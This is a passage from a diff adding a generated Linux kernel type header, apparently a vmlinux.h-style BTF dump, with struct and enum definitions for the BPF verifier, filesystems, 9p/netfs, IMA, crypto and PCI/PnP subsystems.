*btf; + struct module *module; + u16 offset; +}; + +struct bpf_kfunc_btf_tab { + struct bpf_kfunc_btf descs[256]; + u32 nr_descs; +}; + +struct bpf_array_aux { + struct list_head poke_progs; + struct bpf_map *map; + struct mutex poke_mutex; + struct work_struct work; +}; + +struct bpf_struct_ops { + const struct bpf_verifier_ops *verifier_ops; + int (*init)(struct btf *); + int (*check_member)(const struct btf_type *, const struct btf_member *, const struct bpf_prog *); + int (*init_member)(const struct btf_type *, const struct btf_member *, void *, const void *); + int (*reg)(void *); + void (*unreg)(void *); + int (*update)(void *, void *); + int (*validate)(void *); + const struct btf_type *type; + const struct btf_type *value_type; + const char *name; + struct btf_func_model func_models[64]; + u32 type_id; + u32 value_id; +}; + +struct bpf_array { + struct bpf_map map; + u32 elem_size; + u32 index_mask; + struct bpf_array_aux *aux; + union { + struct { + struct {} __empty_value; + char value[0]; + }; + struct { + struct {} __empty_ptrs; + void *ptrs[0]; + }; + struct { + struct {} __empty_pptrs; + void *pptrs[0]; + }; + }; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum { + BPF_MAX_LOOPS = 8388608, +}; + +typedef u32 (*bpf_convert_ctx_access_t)(enum bpf_access_type, const struct bpf_insn *, struct bpf_insn *, struct bpf_prog *, u32 *); + +struct bpf_iter_meta { + union { + struct seq_file *seq; + }; + u64 session_id; + u64 seq_num; +}; + +struct bpf_core_ctx { + struct bpf_verifier_log *log; + const struct btf *btf; +}; + +struct bpf_bprintf_data { + u32 *bin_args; + char *buf; + bool get_bin_args; + bool get_buf; +}; + +struct bpf_active_lock { + void *ptr; + u32 id; +}; + +enum bpf_stack_slot_type { + STACK_INVALID = 0, + STACK_SPILL = 1, + STACK_MISC = 2, + STACK_ZERO = 3, + STACK_DYNPTR = 4, + STACK_ITER = 5, +}; + +struct bpf_stack_state { + struct bpf_reg_state spilled_ptr; + u8 slot_type[8]; +}; + +struct bpf_reference_state { + int id; + int insn_idx; + int callback_ref; +}; + +struct bpf_idx_pair { + u32 prev_idx; + u32 idx; +}; + +struct bpf_verifier_state { + struct bpf_func_state *frame[8]; + struct bpf_verifier_state *parent; + u32 branches; + u32 insn_idx; + u32 curframe; + struct bpf_active_lock active_lock; + bool speculative; + bool active_rcu_lock; + u32 first_insn_idx; + u32 last_insn_idx; + struct bpf_idx_pair *jmp_history; + u32 jmp_history_cnt; +}; + +struct bpf_verifier_state_list { + struct bpf_verifier_state state; + struct bpf_verifier_state_list *next; + int miss_cnt; + int hit_cnt; +}; + +struct bpf_loop_inline_state { + unsigned int initialized: 1; + unsigned int fit_for_inline: 1; + u32 callback_subprogno; +}; + +struct bpf_insn_aux_data { + union { + enum bpf_reg_type ptr_type; + long unsigned int map_ptr_state; + s32 call_imm; + u32 alu_limit; + struct { + u32 map_index; + u32 map_off; + }; + struct { + enum bpf_reg_type reg_type; + union { + struct { + struct btf *btf; + u32 btf_id; + }; + u32 mem_size; + }; + } btf_var; + struct bpf_loop_inline_state loop_inline_state; + }; + union { + u64 obj_new_size; + u64 insert_off; + }; + struct btf_struct_meta *kptr_struct_meta; + u64 map_key_state; + int ctx_field_size; + u32 seen; + bool sanitize_stack_spill; + bool zext_dst; + bool storage_get_func_atomic; + bool is_iter_next; + u8 alu_state; + unsigned int orig_idx; + bool jmp_point; + bool prune_point; + bool force_checkpoint; +}; + +struct bpf_verifier_stack_elem { + struct bpf_verifier_state st; + int insn_idx; + int prev_insn_idx; + struct bpf_verifier_stack_elem *next; + u32 log_pos; +}; + +typedef void (*bpf_insn_print_t)(void *, const char *, ...); + +typedef const char * (*bpf_insn_revmap_call_t)(void *, const struct bpf_insn *); + +typedef const char * (*bpf_insn_print_imm_t)(void *, const struct bpf_insn *, __u64); + +struct bpf_insn_cbs { + bpf_insn_print_t cb_print; + bpf_insn_revmap_call_t cb_call; + bpf_insn_print_imm_t cb_imm; + void *private_data; +}; + +struct bpf_call_arg_meta { + struct bpf_map *map_ptr; + bool raw_mode; + bool pkt_access; + u8 release_regno; + int regno; + int access_size; + int mem_size; + u64 msize_max_value; + int ref_obj_id; + int dynptr_id; + int map_uid; + int func_id; + struct btf *btf; + u32 btf_id; + struct btf *ret_btf; + u32 ret_btf_id; + u32 subprogno; + struct btf_field *kptr_field; +}; + +struct bpf_kfunc_call_arg_meta { + struct btf *btf; + u32 func_id; + u32 kfunc_flags; + const struct btf_type *func_proto; + const char *func_name; + u32 ref_obj_id; + u8 release_regno; + bool r0_rdonly; + u32 ret_btf_id; + u64 r0_size; + u32 subprogno; + struct { + u64 value; + bool found; + } arg_constant; + struct btf *arg_btf; + u32 arg_btf_id; + struct { + struct btf_field *field; + } arg_list_head; + struct { + struct btf_field *field; + } arg_rbtree_root; + struct { + enum bpf_dynptr_type type; + u32 id; + u32 ref_obj_id; + } initialized_dynptr; + struct { + u8 spi; + u8 frameno; + } iter; + u64 mem_size; +}; + +enum reg_arg_type { + SRC_OP = 0, + DST_OP = 1, + DST_OP_NO_MARK = 2, +}; + +enum bpf_access_src { + ACCESS_DIRECT = 1, + ACCESS_HELPER = 2, +}; + +struct task_struct__safe_rcu { + const cpumask_t *cpus_ptr; + struct css_set *cgroups; + struct task_struct *real_parent; + struct task_struct *group_leader; +}; + +struct cgroup__safe_rcu { + struct kernfs_node *kn; +}; + +struct css_set__safe_rcu { + struct cgroup *dfl_cgrp; +}; + +struct mm_struct__safe_rcu_or_null { + struct file *exe_file; +}; + +struct sk_buff__safe_rcu_or_null { + struct sock *sk; +}; + +struct request_sock__safe_rcu_or_null { + struct sock *sk; +}; + +struct bpf_iter_meta__safe_trusted { + struct seq_file *seq; +}; + +struct bpf_iter__task__safe_trusted { + struct bpf_iter_meta *meta; + struct task_struct *task; +}; + +struct linux_binprm__safe_trusted { + struct file *file; +}; + +struct file__safe_trusted { + struct inode *f_inode; +}; + +struct dentry__safe_trusted { + struct inode *d_inode; +}; + +struct socket__safe_trusted { + struct sock *sk; +}; + +struct bpf_reg_types { + const enum bpf_reg_type types[10]; + u32 *btf_id; +}; + +enum { + AT_PKT_END = -1, + BEYOND_PKT_END = -2, +}; + +typedef int (*set_callee_state_fn)(struct bpf_verifier_env *, struct bpf_func_state *, struct bpf_func_state *, int); + +enum { + KF_ARG_DYNPTR_ID = 0, + KF_ARG_LIST_HEAD_ID = 1, + KF_ARG_LIST_NODE_ID = 2, + KF_ARG_RB_ROOT_ID = 3, + KF_ARG_RB_NODE_ID = 4, +}; + +enum kfunc_ptr_arg_type { + KF_ARG_PTR_TO_CTX = 0, + KF_ARG_PTR_TO_ALLOC_BTF_ID = 1, + KF_ARG_PTR_TO_REFCOUNTED_KPTR = 2, + KF_ARG_PTR_TO_DYNPTR = 3, + KF_ARG_PTR_TO_ITER = 4, + KF_ARG_PTR_TO_LIST_HEAD = 5, + KF_ARG_PTR_TO_LIST_NODE = 6, + KF_ARG_PTR_TO_BTF_ID = 7, + KF_ARG_PTR_TO_MEM = 8, + KF_ARG_PTR_TO_MEM_SIZE = 9, + KF_ARG_PTR_TO_CALLBACK = 10, + KF_ARG_PTR_TO_RB_ROOT = 11, + KF_ARG_PTR_TO_RB_NODE = 12, +}; + +enum special_kfunc_type { + KF_bpf_obj_new_impl = 0, + KF_bpf_obj_drop_impl = 1, + KF_bpf_refcount_acquire_impl = 2, + KF_bpf_list_push_front_impl = 3, + KF_bpf_list_push_back_impl = 4, + KF_bpf_list_pop_front = 5, + KF_bpf_list_pop_back = 6, + KF_bpf_cast_to_kern_ctx = 7, + KF_bpf_rdonly_cast = 8, + KF_bpf_rcu_read_lock = 9, + KF_bpf_rcu_read_unlock = 10, + KF_bpf_rbtree_remove = 11, + KF_bpf_rbtree_add_impl = 12, + KF_bpf_rbtree_first = 13, + KF_bpf_dynptr_from_skb = 14, + KF_bpf_dynptr_from_xdp = 15, + KF_bpf_dynptr_slice = 16, + KF_bpf_dynptr_slice_rdwr = 17, + KF_bpf_dynptr_clone = 18, +}; + +enum { + REASON_BOUNDS = -1, + REASON_TYPE = -2, + REASON_PATHS = -3, + REASON_LIMIT = -4, + REASON_STACK = -5, +}; + +struct bpf_sanitize_info { + struct bpf_insn_aux_data aux; + bool mask_to_left; +}; + +enum { + DISCOVERED = 16, + EXPLORED = 32, + FALLTHROUGH = 1, + BRANCH = 2, +}; + +enum { + DONE_EXPLORING = 0, + KEEP_EXPLORING = 1, +}; + +struct bpf_iter; + +enum mf_flags { + MF_COUNT_INCREASED = 1, + MF_ACTION_REQUIRED = 2, + MF_MUST_KILL = 4, + MF_SOFT_OFFLINE = 8, + MF_UNPOISON = 16, + MF_SW_SIMULATED = 32, + MF_NO_RETRY = 64, +}; + +enum dentry_d_lock_class { + DENTRY_D_LOCK_NORMAL = 0, + DENTRY_D_LOCK_NESTED = 1, +}; + +struct name_snapshot { + struct qstr name; + unsigned char inline_name[32]; +}; + +enum lru_status { + LRU_REMOVED = 0, + LRU_REMOVED_RETRY = 1, + LRU_ROTATE = 2, + LRU_SKIP = 3, + LRU_RETRY = 4, +}; + +typedef enum lru_status (*list_lru_walk_cb)(struct list_head *, struct list_lru_one *, spinlock_t *, void *); + +struct kobj_attribute; + +struct attribute_group; + +struct mount; + +struct mnt_namespace { + struct ns_common ns; + struct mount *root; + struct list_head list; + spinlock_t ns_lock; + struct user_namespace *user_ns; + struct ucounts *ucounts; + u64 seq; + wait_queue_head_t poll; + u64 event; + unsigned int mounts; + unsigned int pending_mounts; +}; + +struct fs_pin { + wait_queue_head_t wait; + int done; + struct hlist_node s_list; + struct hlist_node m_list; + void (*kill)(struct fs_pin *); +}; + +struct mnt_pcp; + +struct mountpoint; + +struct mount { + struct hlist_node mnt_hash; + struct mount *mnt_parent; + struct dentry *mnt_mountpoint; + struct vfsmount mnt; + union { + struct callback_head mnt_rcu; + struct llist_node mnt_llist; + }; + struct mnt_pcp *mnt_pcp; + struct list_head mnt_mounts; + struct list_head mnt_child; + struct list_head mnt_instance; + const char *mnt_devname; + struct list_head mnt_list; + struct list_head mnt_expire; + struct list_head mnt_share; + struct list_head mnt_slave_list; + struct list_head mnt_slave; + struct mount *mnt_master; + struct mnt_namespace *mnt_ns; + struct mountpoint *mnt_mp; + union { + struct hlist_node mnt_mp_list; + struct hlist_node mnt_umount; + }; + struct list_head mnt_umounting; + struct fsnotify_mark_connector *mnt_fsnotify_marks; + __u32 mnt_fsnotify_mask; + int mnt_id; + int mnt_group_id; + int mnt_expiry_mark; + struct hlist_head mnt_pins; + struct hlist_head mnt_stuck_children; +}; + +struct mnt_pcp { + int mnt_count; + int mnt_writers; +}; + +struct mountpoint { + struct hlist_node m_hash; + struct dentry *m_dentry; + struct hlist_head m_list; + int m_count; +}; + +struct dentry_stat_t { + long int nr_dentry; + long int nr_unused; + long int age_limit; + long int want_pages; + long int nr_negative; + long int dummy; +}; + +struct external_name { + union { + atomic_t count; + struct callback_head head; + } u; + unsigned char name[0]; +}; + +enum d_walk_ret { + D_WALK_CONTINUE = 0, + D_WALK_QUIT = 1, + D_WALK_NORETRY = 2, + D_WALK_SKIP = 3, +}; + +struct check_mount { + struct vfsmount *mnt; + unsigned int mounted; +}; + +struct select_data { + struct dentry *start; + union { + long int found; + struct dentry *victim; + }; + struct list_head dispose; +}; + +enum fsconfig_command { + FSCONFIG_SET_FLAG = 0, + FSCONFIG_SET_STRING = 1, + FSCONFIG_SET_BINARY = 2, + FSCONFIG_SET_PATH = 3, + FSCONFIG_SET_PATH_EMPTY = 4, + FSCONFIG_SET_FD = 5, + FSCONFIG_CMD_CREATE = 6, + FSCONFIG_CMD_RECONFIGURE = 7, +}; + +struct fdtable { + unsigned int max_fds; + struct file **fd; + long unsigned int *close_on_exec; + long unsigned int *open_fds; + long unsigned int *full_fds_bits; + struct callback_head rcu; +}; + +struct files_struct { + atomic_t count; + bool resize_in_progress; + wait_queue_head_t resize_wait; + struct fdtable *fdt; + struct fdtable fdtab; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; + spinlock_t file_lock; + unsigned int next_fd; + long unsigned int close_on_exec_init[1]; + long unsigned int open_fds_init[1]; + long unsigned int full_fds_bits_init[1]; + struct file *fd_array[64]; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +struct file_lock_context { + spinlock_t flc_lock; + struct list_head flc_flock; + struct list_head flc_posix; + struct list_head flc_lease; +}; + +struct nlm_lockowner; + +struct nfs_lock_info { + u32 state; + struct nlm_lockowner *owner; + struct list_head list; +}; + +struct nfs4_lock_state; + +struct nfs4_lock_info { + struct nfs4_lock_state *owner; +}; + +struct file_lock_operations; + +struct lock_manager_operations; + +struct file_lock { + struct file_lock *fl_blocker; + struct list_head fl_list; + struct hlist_node fl_link; + struct list_head fl_blocked_requests; + struct list_head fl_blocked_member; + fl_owner_t fl_owner; + unsigned int fl_flags; + unsigned char fl_type; + unsigned int fl_pid; + int fl_link_cpu; + wait_queue_head_t fl_wait; + struct file *fl_file; + loff_t fl_start; + loff_t fl_end; + struct fasync_struct *fl_fasync; + long unsigned int fl_break_time; + long unsigned int fl_downgrade_time; + const struct file_lock_operations *fl_ops; + const struct lock_manager_operations *fl_lmops; + union { + struct nfs_lock_info nfs_fl; + struct nfs4_lock_info nfs4_fl; + struct { + struct list_head link; + int state; + unsigned int debug_id; + } afs; + struct { + struct inode *inode; + } ceph; + } fl_u; +}; + +struct file_lock_operations { + void (*fl_copy_lock)(struct file_lock *, struct file_lock *); + void (*fl_release_private)(struct file_lock *); +}; + +struct lock_manager_operations { + void *lm_mod_owner; + fl_owner_t (*lm_get_owner)(fl_owner_t); + void (*lm_put_owner)(fl_owner_t); + void (*lm_notify)(struct file_lock *); + int (*lm_grant)(struct file_lock *, int); + bool (*lm_break)(struct file_lock *); + int (*lm_change)(struct file_lock *, int, struct list_head *); + void (*lm_setup)(struct file_lock *, void **); + bool (*lm_breaker_owns_lease)(struct file_lock *); + bool (*lm_lock_expirable)(struct file_lock *); + void (*lm_expire_lock)(); +}; + +typedef struct dentry *instantiate_t(struct dentry *, struct task_struct *, const void *); + +struct fd_data { + fmode_t mode; + unsigned int fd; +}; + +typedef void (*xa_update_node_t)(struct xa_node *); + +struct xa_state { + struct xarray *xa; + long unsigned int xa_index; + unsigned char xa_shift; + unsigned char xa_sibs; + unsigned char xa_offset; + unsigned char xa_pad; + struct xa_node *xa_node; + struct xa_node *xa_alloc; + xa_update_node_t xa_update; + struct list_lru *xa_lru; +}; + +typedef unsigned int iov_iter_extraction_t; + +enum iter_type { + ITER_IOVEC = 0, + ITER_KVEC = 1, + ITER_BVEC = 2, + ITER_PIPE = 3, + ITER_XARRAY = 4, + ITER_DISCARD = 5, + ITER_UBUF = 6, +}; + +struct p9_qid { + u8 type; + u32 version; + u64 path; +}; + +enum p9_trans_status { + Connected = 0, + BeginDisconnect = 1, + Disconnected = 2, + Hung = 3, +}; + +struct p9_trans_module; + +struct p9_client { + spinlock_t lock; + unsigned int msize; + unsigned char proto_version; + struct p9_trans_module *trans_mod; + enum p9_trans_status status; + void *trans; + struct kmem_cache *fcall_cache; + union { + struct { + int rfd; + int wfd; + } fd; + struct { + u16 port; + bool privport; + } tcp; + } trans_opts; + struct idr fids; + struct idr reqs; + char name[65]; +}; + +struct p9_fid { + struct p9_client *clnt; + u32 fid; + refcount_t count; + int mode; + struct p9_qid qid; + u32 iounit; + kuid_t uid; + void *rdir; + struct hlist_node dlist; + struct hlist_node ilist; +}; + +enum netfs_io_source { + NETFS_FILL_WITH_ZEROES = 0, + NETFS_DOWNLOAD_FROM_SERVER = 1, + NETFS_READ_FROM_CACHE = 2, + NETFS_INVALID_READ = 3, +} __attribute__((mode(byte))); + +typedef void (*netfs_io_terminated_t)(void *, ssize_t, bool); + +struct netfs_request_ops; + +struct netfs_inode { + struct inode inode; + const struct netfs_request_ops *ops; + loff_t remote_i_size; +}; + +struct netfs_io_request; + +struct netfs_io_subrequest; + +struct netfs_request_ops { + int (*init_request)(struct netfs_io_request *, struct file *); + void (*free_request)(struct netfs_io_request *); + int (*begin_cache_operation)(struct netfs_io_request *); + void (*expand_readahead)(struct netfs_io_request *); + bool (*clamp_length)(struct netfs_io_subrequest *); + void (*issue_read)(struct netfs_io_subrequest *); + bool (*is_still_valid)(struct netfs_io_request *); + int (*check_write_begin)(struct file *, loff_t, unsigned int, struct folio **, void **); + void (*done)(struct netfs_io_request *); +}; + +struct netfs_cache_ops; + +struct netfs_cache_resources { + const struct netfs_cache_ops *ops; + void *cache_priv; + void *cache_priv2; + unsigned int debug_id; + unsigned int inval_counter; +}; + +enum netfs_read_from_hole { + NETFS_READ_HOLE_IGNORE = 0, + NETFS_READ_HOLE_CLEAR = 1, + NETFS_READ_HOLE_FAIL = 2, +}; + +struct netfs_cache_ops { + void (*end_operation)(struct netfs_cache_resources *); + int (*read)(struct netfs_cache_resources *, loff_t, struct iov_iter *, enum netfs_read_from_hole, netfs_io_terminated_t, void *); + int (*write)(struct netfs_cache_resources *, loff_t, struct iov_iter *, netfs_io_terminated_t, void *); + void (*expand_readahead)(struct netfs_cache_resources *, loff_t *, size_t *, loff_t); + enum netfs_io_source (*prepare_read)(struct netfs_io_subrequest *, loff_t); + int (*prepare_write)(struct netfs_cache_resources *, loff_t *, size_t *, loff_t, bool); + enum netfs_io_source (*prepare_ondemand_read)(struct netfs_cache_resources *, loff_t, size_t *, loff_t, long unsigned int *, ino_t); + int (*query_occupancy)(struct netfs_cache_resources *, loff_t, size_t, size_t, loff_t *, size_t *); +}; + +struct netfs_io_subrequest { + struct netfs_io_request *rreq; + struct list_head rreq_link; + loff_t start; + size_t len; + size_t transferred; + refcount_t ref; + short int error; + short unsigned int debug_index; + enum netfs_io_source source; + long unsigned int flags; +}; + +enum netfs_io_origin { + NETFS_READAHEAD = 0, + NETFS_READPAGE = 1, + NETFS_READ_FOR_WRITE = 2, +} __attribute__((mode(byte))); + +struct netfs_io_request { + struct work_struct work; + struct inode *inode; + struct address_space *mapping; + struct netfs_cache_resources cache_resources; + struct list_head subrequests; + void *netfs_priv; + unsigned int debug_id; + atomic_t nr_outstanding; + atomic_t nr_copy_ops; + size_t submitted; + size_t len; + short int error; + enum netfs_io_origin origin; + loff_t i_size; + loff_t start; + long unsigned int no_unlock_folio; + refcount_t ref; + long unsigned int flags; + const struct netfs_request_ops *netfs_ops; +}; + +enum p9_session_flags { + V9FS_PROTO_2000U = 1, + V9FS_PROTO_2000L = 2, + V9FS_ACCESS_SINGLE = 4, + V9FS_ACCESS_USER = 8, + V9FS_ACCESS_CLIENT = 16, + V9FS_POSIX_ACL = 32, + V9FS_NO_XATTR = 64, + V9FS_IGNORE_QV = 128, + V9FS_DIRECT_IO = 256, + V9FS_SYNC = 512, +}; + +struct v9fs_session_info { + unsigned char flags; + unsigned char nodev; + short unsigned int debug; + unsigned int afid; + unsigned int cache; + char *uname; + char *aname; + unsigned int maxdata; + kuid_t dfltuid; + kgid_t dfltgid; + kuid_t uid; + struct p9_client *clnt; + struct list_head slist; + struct rw_semaphore rename_sem; + long int session_lock_timeout; +}; + +struct v9fs_inode { + struct netfs_inode netfs; + struct p9_qid qid; + unsigned int cache_validity; + struct mutex v_mutex; +}; + +enum { + SELNL_MSG_SETENFORCE = 16, + SELNL_MSG_POLICYLOAD = 17, + SELNL_MSG_MAX = 18, +}; + +enum selinux_nlgroups { + SELNLGRP_NONE = 0, + SELNLGRP_AVC = 1, + __SELNLGRP_MAX = 2, +}; + +struct selnl_msg_setenforce { + __s32 val; +}; + +struct selnl_msg_policyload { + __u32 seqno; +}; + +struct scm_creds { + u32 pid; + kuid_t uid; + kgid_t gid; +}; + +struct netlink_skb_parms { + struct scm_creds creds; + __u32 portid; + __u32 dst_group; + __u32 flags; + struct sock *sk; + bool nsid_is_set; + int nsid; +}; + +struct netlink_kernel_cfg { + unsigned int groups; + unsigned int flags; + void (*input)(struct sk_buff *); + struct mutex *cb_mutex; + int (*bind)(struct net *, int); + void (*unbind)(struct net *, int); +}; + +struct crypto_wait { + struct completion completion; + int err; +}; + +struct shash_desc { + struct crypto_shash *tfm; + void *__ctx[0]; +}; + +struct shash_alg { + int (*init)(struct shash_desc *); + int (*update)(struct shash_desc *, const u8 *, unsigned int); + int (*final)(struct shash_desc *, u8 *); + int (*finup)(struct shash_desc *, const u8 *, unsigned int, u8 *); + int (*digest)(struct shash_desc *, const u8 *, unsigned int, u8 *); + int (*export)(struct shash_desc *, void *); + int (*import)(struct shash_desc *, const void *); + int (*setkey)(struct crypto_shash *, const u8 *, unsigned int); + int (*init_tfm)(struct crypto_shash *); + void (*exit_tfm)(struct crypto_shash *); + int (*clone_tfm)(struct crypto_shash *, struct crypto_shash *); + unsigned int descsize; + union { + struct { + unsigned int digestsize; + unsigned int statesize; + struct crypto_alg base; + }; + struct hash_alg_common halg; + }; +}; + +enum tpm_algorithms { + TPM_ALG_ERROR = 0, + TPM_ALG_SHA1 = 4, + TPM_ALG_KEYEDHASH = 8, + TPM_ALG_SHA256 = 11, + TPM_ALG_SHA384 = 12, + TPM_ALG_SHA512 = 13, + TPM_ALG_NULL = 16, + TPM_ALG_SM3_256 = 18, +}; + +enum integrity_status { + INTEGRITY_PASS = 0, + INTEGRITY_PASS_IMMUTABLE = 1, + INTEGRITY_FAIL = 2, + INTEGRITY_FAIL_IMMUTABLE = 3, + INTEGRITY_NOLABEL = 4, + INTEGRITY_NOXATTRS = 5, + INTEGRITY_UNKNOWN = 6, +}; + +struct evm_ima_xattr_data { + u8 type; + u8 data[0]; +}; + +struct ima_digest_data { + u8 algo; + u8 length; + union { + struct { + u8 unused; + u8 type; + } sha1; + struct { + u8 type; + u8 algo; + } ng; + u8 data[2]; + } xattr; + u8 digest[0]; +}; + +struct integrity_iint_cache { + struct rb_node rb_node; + struct mutex mutex; + struct inode *inode; + u64 version; + long unsigned int flags; + long unsigned int measured_pcrs; + long unsigned int atomic_flags; + enum integrity_status ima_file_status: 4; + enum integrity_status ima_mmap_status: 4; + enum integrity_status ima_bprm_status: 4; + enum integrity_status ima_read_status: 4; + enum integrity_status ima_creds_status: 4; + enum integrity_status evm_status: 4; + struct ima_digest_data *ima_hash; +}; + +enum ima_show_type { + IMA_SHOW_BINARY = 0, + IMA_SHOW_BINARY_NO_FIELD_LEN = 1, + IMA_SHOW_BINARY_OLD_STRING_FMT = 2, + IMA_SHOW_ASCII = 3, +}; + +enum tpm_pcrs { + TPM_PCR0 = 0, + TPM_PCR8 = 8, + TPM_PCR10 = 10, +}; + +struct modsig; + +struct ima_event_data { + struct integrity_iint_cache *iint; + struct file *file; + const unsigned char *filename; + struct evm_ima_xattr_data *xattr_value; + int xattr_len; + const struct modsig *modsig; + const char *violation; + const void *buf; + int buf_len; +}; + +struct ima_field_data { + u8 *data; + u32 len; +}; + +struct ima_template_field { + const char field_id[16]; + int (*field_init)(struct ima_event_data *, struct ima_field_data *); + void (*field_show)(struct seq_file *, enum ima_show_type, struct ima_field_data *); +}; + +struct ima_template_desc { + struct list_head list; + char *name; + char *fmt; + int num_fields; + const struct ima_template_field **fields; +}; + +struct ima_template_entry { + int pcr; + struct tpm_digest *digests; + struct ima_template_desc *template_desc; + u32 template_data_len; + struct ima_field_data template_data[0]; +}; + +struct ima_h_table { + atomic_long_t len; + atomic_long_t violations; + struct hlist_head queue[1024]; +}; + +struct ima_algo_desc { + struct crypto_shash *tfm; + enum hash_algo algo; +}; + +struct akcipher_request { + struct crypto_async_request base; + struct scatterlist *src; + struct scatterlist *dst; + unsigned int src_len; + unsigned int dst_len; + void *__ctx[0]; +}; + +struct crypto_akcipher { + unsigned int reqsize; + struct crypto_tfm base; +}; + +struct crypto_istat_akcipher { + atomic64_t encrypt_cnt; + atomic64_t encrypt_tlen; + atomic64_t decrypt_cnt; + atomic64_t decrypt_tlen; + atomic64_t verify_cnt; + atomic64_t sign_cnt; + atomic64_t err_cnt; +}; + +struct akcipher_alg { + int (*sign)(struct akcipher_request *); + int (*verify)(struct akcipher_request *); + int (*encrypt)(struct akcipher_request *); + int (*decrypt)(struct akcipher_request *); + int (*set_pub_key)(struct crypto_akcipher *, const void *, unsigned int); + int (*set_priv_key)(struct crypto_akcipher *, const void *, unsigned int); + unsigned int (*max_size)(struct crypto_akcipher *); + int (*init)(struct crypto_akcipher *); + void (*exit)(struct crypto_akcipher *); + struct crypto_alg base; +}; + +struct akcipher_instance { + void (*free)(struct akcipher_instance *); + union { + struct { + char head[72]; + struct crypto_instance base; + } s; + struct akcipher_alg alg; + }; +}; + +struct crypto_akcipher_spawn { + struct crypto_spawn base; +}; + +struct rand_data { + __u64 data; + __u64 old_data; + __u64 prev_time; + __u64 last_delta; + __s64 last_delta2; + unsigned int osr; + unsigned char *mem; + unsigned int memlocation; + unsigned int memblocks; + unsigned int memblocksize; + unsigned int memaccessloops; + unsigned int rct_count; + unsigned int apt_observations; + unsigned int apt_count; + unsigned int apt_base; + unsigned int apt_base_set: 1; +}; + +struct crypto_rng; + +struct rng_alg { + int (*generate)(struct crypto_rng *, const u8 *, unsigned int, u8 *, unsigned int); + int (*seed)(struct crypto_rng *, const u8 *, unsigned int); + void (*set_ent)(struct crypto_rng *, const u8 *, unsigned int); + unsigned int seedsize; + struct crypto_alg base; +}; + +struct crypto_rng { + struct crypto_tfm base; +}; + +struct rand_data; + +struct jitterentropy { + spinlock_t jent_lock; + struct rand_data *entropy_collector; +}; + +enum blake2s_lengths { + BLAKE2S_BLOCK_SIZE = 64, + BLAKE2S_HASH_SIZE = 32, + BLAKE2S_KEY_SIZE = 32, + BLAKE2S_128_HASH_SIZE = 16, + BLAKE2S_160_HASH_SIZE = 20, + BLAKE2S_224_HASH_SIZE = 28, + BLAKE2S_256_HASH_SIZE = 32, +}; + +struct blake2s_state { + u32 h[8]; + u32 t[2]; + u32 f[2]; + u8 buf[64]; + unsigned int buflen; + unsigned int outlen; +}; + +enum blake2s_iv { + BLAKE2S_IV0 = 1779033703, + BLAKE2S_IV1 = 3144134277, + BLAKE2S_IV2 = 1013904242, + BLAKE2S_IV3 = 2773480762, + BLAKE2S_IV4 = 1359893119, + BLAKE2S_IV5 = 2600822924, + BLAKE2S_IV6 = 528734635, + BLAKE2S_IV7 = 1541459225, +}; + +struct sha256_state { + u32 state[8]; + u64 count; + u8 buf[64]; +}; + +struct nla_bitfield32 { + __u32 value; + __u32 selector; +}; + +enum netlink_validation { + NL_VALIDATE_LIBERAL = 0, + NL_VALIDATE_TRAILING = 1, + NL_VALIDATE_MAXTYPE = 2, + NL_VALIDATE_UNSPEC = 4, + NL_VALIDATE_STRICT_ATTRS = 8, + NL_VALIDATE_NESTED = 16, +}; + +struct pci_sriov { + int pos; + int nres; + u32 cap; + u16 ctrl; + u16 total_VFs; + u16 initial_VFs; + u16 num_VFs; + u16 offset; + u16 stride; + u16 vf_device; + u32 pgsz; + u8 link; + u8 max_VF_buses; + u16 driver_max_VFs; + struct pci_dev *dev; + struct pci_dev *self; + u32 class; + u8 hdr_type; + u16 subsystem_vendor; + u16 subsystem_device; + resource_size_t barsz[6]; + bool drivers_autoprobe; +}; + +struct rcec_ea { + u8 nextbusn; + u8 lastbusn; + u32 bitmap; +}; + +struct pci_host_bridge { + struct device dev; + struct pci_bus *bus; + struct pci_ops *ops; + struct pci_ops *child_ops; + void *sysdata; + int busnr; + int domain_nr; + struct list_head windows; + struct list_head dma_ranges; + u8 (*swizzle_irq)(struct pci_dev *, u8 *); + int (*map_irq)(const struct pci_dev *, u8, u8); + void (*release_fn)(struct pci_host_bridge *); + void *release_data; + unsigned int ignore_reset_delay: 1; + unsigned int no_ext_tags: 1; + unsigned int no_inc_mrrs: 1; + unsigned int native_aer: 1; + unsigned int native_pcie_hotplug: 1; + unsigned int native_shpc_hotplug: 1; + unsigned int native_pme: 1; + unsigned int native_ltr: 1; + unsigned int native_dpc: 1; + unsigned int native_cxl_error: 1; + unsigned int preserve_config: 1; + unsigned int size_windows: 1; + unsigned int msi_domain: 1; + resource_size_t (*align_resource)(struct pci_dev *, const struct resource *, resource_size_t, resource_size_t, resource_size_t); + long: 64; + long: 64; + long: 64; + long: 64; + long unsigned int private[0]; +}; + +typedef u64 pci_bus_addr_t; + +struct pci_bus_region { + pci_bus_addr_t start; + pci_bus_addr_t end; +}; + +struct pci_dev_resource { + struct list_head list; + struct resource *res; + struct pci_dev *dev; + resource_size_t start; + resource_size_t end; + resource_size_t add_size; + resource_size_t min_align; + long unsigned int flags; +}; + +enum release_type { + leaf_only = 0, + whole_subtree = 1, +}; + +enum enable_type { + undefined = -1, + user_disabled = 0, + auto_disabled = 1, + user_enabled = 2, + auto_enabled = 3, +}; + +enum acpi_predicate { + all_versions = 0, + less_than_or_equal = 1, + equal = 2, + greater_than_or_equal = 3, +}; + +struct acpi_platform_list { + char oem_id[7]; + char oem_table_id[9]; + u32 oem_revision; + char *table; + enum acpi_predicate pred; + char *reason; + u32 data; +}; + +struct acpi_pkg_info { + u8 *free_space; + acpi_size length; + u32 object_space; + u32 num_packages; +}; + +struct pnp_device_id { + __u8 id[8]; + kernel_ulong_t driver_data; +}; + +struct pnp_card_device_id { + __u8 id[8]; + kernel_ulong_t driver_data; + struct { + __u8 id[8]; + } devs[8]; +}; + +struct pnp_protocol; + +struct pnp_id; + +struct pnp_card { + struct device dev; + unsigned char number; + struct list_head global_list; + struct list_head protocol_list; + struct list_head devices; + struct pnp_protocol *protocol; + struct pnp_id *id; + char name[50]; + unsigned char pnpver; + unsigned char productver; + unsigned int serial; + unsigned char checksum; + struct proc_dir_entry *procdir; +}; + +struct pnp_dev; + +struct pnp_protocol { + struct list_head protocol_list; + char *name; + int (*get)(struct pnp_dev *); + int (*set)(struct pnp_dev *); + int (*disable)(struct pnp_dev *); + bool (*can_wakeup)(struct pnp_dev *); + int 